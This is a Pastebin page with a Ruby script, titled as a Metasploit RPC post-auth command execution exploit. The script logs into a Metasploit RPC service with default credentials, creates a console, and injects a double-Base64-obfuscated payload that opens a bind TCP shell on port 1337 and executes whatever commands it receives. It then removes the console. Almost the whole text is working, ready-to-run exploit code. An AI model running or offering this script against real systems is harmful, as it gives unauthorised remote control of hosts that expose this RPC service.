Advertisement
Guest User

Untitled

a guest
Jul 5th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. ################################################################################
  3. # Metasploit RPC post-auth command execution exploit #
  4. ################################################################################
  5. # ~ bcoles
  6.  
  7. require 'msfrpc-client' # gem install msfrpc-client
  8. require 'base64'
  9.  
  10. @host = '127.0.0.1'
  11. @port = '55552'
  12. @user = 'msf'
  13. @pass = 'msf'
  14. @ssl = true
  15.  
  16. @bind_port = 1337
  17.  
  18. def main
  19. connect
  20. get_version
  21. create_console
  22. execute
  23. cleanup
  24.  
  25. puts
  26. puts "+ Done! You should now have a shell on #{@host}:#{@bind_port}"
  27. end
  28.  
  29. def connect
  30. puts "* Connecting to #{@host}:#{@port}#{@ssl ? ' (SSL)' : ''}..."
  31.  
  32. begin
  33. @rpc = Msf::RPC::Client.new :host => @host,
  34. :port => @port,
  35. :user => @user,
  36. :pass => @pass,
  37. :ssl => @ssl
  38. rescue => e
  39. puts '- Error: connection failed:'
  40. puts e.to_s
  41. exit 1
  42. end
  43.  
  44. puts '+ Connected successfully'
  45.  
  46. if @rpc.token.nil?
  47. puts '- Error: authentication failed'
  48. exit 1
  49. end
  50.  
  51. @token = @rpc.token
  52. puts '+ Authenticated successfully'
  53. puts "* Received temporary token: #{@token}"
  54. puts
  55. end
  56.  
  57. def get_version
  58. version = @rpc.call 'core.version'
  59. puts '--- Server:'
  60. puts "* Metasploit #{version['version']}"
  61. puts "* Ruby #{version['ruby']}"
  62. puts "* API #{version['api']}"
  63. puts
  64. end
  65.  
  66. def create_console
  67. res = @rpc.call 'console.create'
  68.  
  69. if res.nil?
  70. puts '- Error: connection failed'
  71. exit 1
  72. end
  73.  
  74. unless res['id'].to_s =~ /\A\d+\z/
  75. puts '- Error: could not create console'
  76. puts res.to_s
  77. exit 1
  78. end
  79.  
  80. @console_id = res['id']
  81. puts "+ Created console ##{@console_id}"
  82. end
  83.  
  84. def execute
  85. puts '* Sending payload...'
  86. res = @rpc.call 'console.write', @console_id, "\r\n#{payload}\r\n"
  87.  
  88. if res.nil?
  89. puts '- Error: connection failed'
  90. exit 1
  91. end
  92.  
  93. unless res['wrote'].to_s =~ /\A\d+\z/
  94. puts "- Error: could not write to console #{@console_id}:"
  95. puts res.to_s
  96. exit 1
  97. end
  98.  
  99. puts "+ Wrote #{res['wrote']} bytes to console"
  100. end
  101.  
  102. def payload
  103. bind_tcp = "code = %(#{Base64.strict_encode64("require 'socket';s=TCPServer.new(#{@bind_port});c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,'rb'){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }")}).unpack(%(m0)).first
  104. if RUBY_PLATFORM =~ /mswin|mingw|win32/
  105. inp = IO.popen(%(ruby), %(wb)) rescue nil
  106. if inp
  107. inp.write(code)
  108. inp.close
  109. end
  110. else
  111. if ! Process.fork()
  112. eval(code) rescue nil
  113. end
  114. end"
  115. "ruby -e 'eval(%[#{Base64.strict_encode64(bind_tcp)}].unpack(%[m0]).first)'"
  116. end
  117.  
  118. def cleanup
  119. puts '* Removing console...'
  120. res = @rpc.call 'console.destroy', @console_id
  121.  
  122. if res.nil?
  123. puts '- Error: connection failed'
  124. end
  125.  
  126. unless res['result'].eql? 'success'
  127. puts "- Error: could not destroy console ##{@console_id}:"
  128. puts res.to_s
  129. exit 1
  130. end
  131.  
  132. puts "+ Destroyed console ##{@console_id}"
  133. end
  134.  
  135. puts 'Metasploit RPC post-auth command execution exploit'
  136. puts
  137. main
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement